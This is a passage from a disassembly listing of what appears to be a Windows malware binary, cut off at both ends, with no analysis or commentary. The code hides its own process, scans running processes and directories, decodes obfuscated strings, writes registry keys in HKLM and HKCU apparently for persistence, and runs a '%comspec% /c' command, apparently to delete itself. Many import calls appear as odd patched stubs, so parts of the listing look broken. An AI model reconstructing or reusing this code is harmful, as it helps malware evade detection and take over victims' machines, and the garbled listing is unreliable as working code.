[esp+280h+var_219] push eax call sub_401E24 add esp, 4 push ebx nop call near ptr 2830000h pop ebx loc_40CDAE: ; CODE XREF: sub_40CBB0+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CBB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CE60 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CE60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CE60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CEE0: ; CODE XREF: ___:loc_40226Bj push 0FFFFFFFFh push offset loc_438D86 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF60 proc near ; CODE XREF: sub_402257j var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_50FAD8 push esi push offset aS_2 ; "%s\\*" push 104h push eax call edi ; _snprintf add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2870000h mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D027 loc_40CFB0: ; CODE XREF: sub_40CF60+C5j test [esp+558h+var_548], 10h jz short loc_40D017 cmp [esp+558h+var_51C], 2Eh jnz short loc_40CFCA mov al, [esp+558h+var_51B] test al, al jz short loc_40D017 cmp al, 2Eh jz short loc_40D017 loc_40CFCA: ; CODE XREF: sub_40CF60+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_443684 push 104h push ecx call edi ; _snprintf mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_402257 add esp, 2Ch mov ebp, eax loc_40D017: ; CODE XREF: sub_40CF60+55j ; sub_40CF60+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx nop call near ptr 2860000h test eax, eax jnz short loc_40CFB0 loc_40D027: ; CODE XREF: sub_40CF60+4Ej push ebx nop call near ptr 28502B5h mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_443684 push 104h push eax call edi ; _snprintf add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2870000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D0BB loc_40D068: ; CODE XREF: sub_40CF60+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi ; _snprintf mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_401523 add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx call near ptr 2860000h nop test eax, eax jnz short loc_40D068 loc_40D0BB: ; CODE XREF: sub_40CF60+106j push ebx nop call near ptr 28502B5h pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40CF60 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D130 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D130 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_40D130 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+47h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+75h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 add esi, 0A3h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D2E0: ; CODE XREF: ___:004013CAj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 nop call near ptr 2871DD9h push eax nop call near ptr 287120Ah mov eax, dword_4470B0 test eax, eax jz loc_40D403 mov ecx, dword_4470AC test ecx, ecx jz loc_40D403 mov ecx, dword_446F78 test ecx, ecx jz loc_40D403 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_4470A8, eax jz loc_40D403 push ebp push offset dword_446F80 push eax xor ebp, ebp mov dword_446F80, 128h call dword_4470AC ; Process32First test eax, eax jz loc_40D3EC push ebx mov ebx, [esp+110h] push esi mov esi, dword_50FAD4 push edi loc_40D36D: ; CODE XREF: ___:0040D3E7j mov edi, offset dword_446FA4 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_446FA4 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_446FA4 add edx, ecx push edx call esi ; strncmp add esp, 0Ch test eax, eax jz short loc_40D3D3 mov edi, offset dword_446FA4 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_446FA4 mov ecx, ebx call sub_401681 push eax call esi ; strncmp add esp, 0Ch test eax, eax jnz short loc_40D3D4 loc_40D3D3: ; CODE XREF: ___:0040D3ABj inc ebp loc_40D3D4: ; CODE XREF: ___:0040D3D1j mov eax, dword_4470A8 push offset dword_446F80 push eax call dword_446F78 ; Process32Next test eax, eax jnz short loc_40D36D pop edi pop esi pop ebx loc_40D3EC: ; CODE XREF: ___:0040D357j mov ecx, dword_4470A8 push ecx nop call near ptr 283074Ch mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D403: ; CODE XREF: ___:0040D306j ; ___:0040D314j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D460: ; CODE XREF: ___:00401F91j sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax call near ptr 2880B73h nop mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_50F8E8 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi nop call near ptr 2880737h mov ebx, dword_50F8D8 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi nop call near ptr 2880000h push esi call ebx loc_40D526: ; CODE XREF: ___:0040D4C9j ; ___:0040D50Bj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D580 proc near ; CODE XREF: sub_401B59j var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_401424 push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C5D push eax nop call near ptr 27F08CBh lea ecx, [esp+1A8h+var_16C] call sub_4017E4 push eax lea ecx, [esi+4] call sub_4015D7 lea ecx, [esp+1A8h+var_184] call sub_401424 mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C5D push eax push 0 call near ptr 2871DD9h nop push eax nop call near ptr 287120Ah push offset aKernel32_dll_0 ; "kernel32.dll" nop call near ptr 27E09F8h mov esi, eax test esi, esi jz short loc_40D671 mov edi, dword_50F8A0 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_4470B4, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_4470B0, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_4470AC, eax call edi mov dword_446F78, eax mov eax, dword_4470B4 test eax, eax jz short loc_40D671 push ebx push 0 call eax loc_40D671: ; CODE XREF: sub_40D580+A7j ; sub_40D580+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+1B0h+var_184] call sub_402117 test eax, eax jnz short loc_40D6A8 mov al, byte_44719F test al, al jz short loc_40D6A8 mov ecx, esi call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 loc_40D6A8: ; CODE XREF: sub_40D580+10Dj ; sub_40D580+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019B5 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017E4 push eax call sub_4015FA sub_40D580 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h dd 8D50FFFFh, 0A8248Ch, 38680000h, 5100443Bh, 1E2724E8h dd 3D8B9000h, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 0E8000007h dd 24142F0h, 24848D90h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h dd 85D6FF50h, 0A0D074C0h, 4477FBh, 74C0845Dh, 0CC358B39h dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B30h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3EA0h, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 0E8900000h, 23E33E7h, 874C085h, 0DFE8006Ah dd 907782C4h, 24244C8Dh, 0A42484C6h, 1, 0FF3875E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3861E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB10 proc near ; CODE XREF: sub_401195j mov al, byte_4471A1 test al, al jz short loc_40DB24 push offset word_4471A2 nop call near ptr 27F0792h loc_40DB24: ; CODE XREF: sub_40DB10+7j mov al, 1 retn sub_40DB10 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB40 proc near ; CODE XREF: sub_401E5Bj var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DB40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 nop call near ptr 2871DD9h push eax nop call near ptr 287120Ah lea ecx, [esp+6D4h+var_318] push ecx push 104h call near ptr 27D0000h nop push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019B5 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017E4 push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_443684 push ecx nop call sub_5EFFD5 add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx nop call near ptr 2850000h mov esi, eax test esi, esi jbe loc_40E0A1 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_401424 push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019B5 add esp, 18h mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+708h+var_634] push 4 push ecx mov byte ptr [esp+710h+var_4], 2 call sub_4019B5 add esp, 30h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019B5 add esp, 18h mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+714h+var_67C] push 4 push eax mov byte ptr [esp+71Ch+var_4], 4 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019B5 add esp, 1Ch mov [esp+6E0h+var_6C8], eax push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+708h+var_5D4] push 7 push edx mov byte ptr [esp+710h+var_4], 6 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+714h+var_58C] push 4 push ecx mov byte ptr [esp+71Ch+var_4], 8 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 mov byte ptr [esp+734h+var_4], 9 push 18h push 5 push 4Eh push 14h push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019B5 add esp, 7Ch mov [esp+6E0h+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+6F8h+var_5BC] push 53h push eax mov byte ptr [esp+700h+var_4], 0Ah call sub_4019B5 add esp, 20h mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019B5 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017E4 mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017E4 mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017E4 mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017E4 mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017E4 mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017E4 mov ecx, [esp+700h+var_6C4] push eax call sub_4017E4 mov ecx, [esp+704h+var_6BC] push eax call sub_4017E4 push eax push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" lea edx, [esp+710h+var_6AC] push edx call sub_40102D add esp, 34h lea ecx, [esp+6E0h+var_64C] mov byte ptr [esp+6E0h+var_4], 0Bh call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017E4 push eax push esi nop call near ptr 27E0000h push esi call near ptr 283074Ch nop mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax nop call near ptr 2871DD9h push eax nop call near ptr 287120Ah lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx call sub_5EFFD5 nop add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax call near ptr 2800000h nop lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 lea eax, [esp+6FCh+var_110] push 0 push eax push 0 nop call near ptr 27F0D7Bh lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E0A1: ; CODE XREF: sub_40DB40+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DB40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E220 proc near ; CODE XREF: sub_401726j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_401424 lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 mov ebp, dword_50F754 push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2930000h mov edx, [esp+80h+var_70] push edx nop call near ptr 28F0000h push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2930000h mov edx, [esp+80h+var_70] push edx nop call near ptr 28F0000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2930000h mov edx, [esp+80h+var_70] push edx call near ptr 28F0000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2930000h nop mov edx, 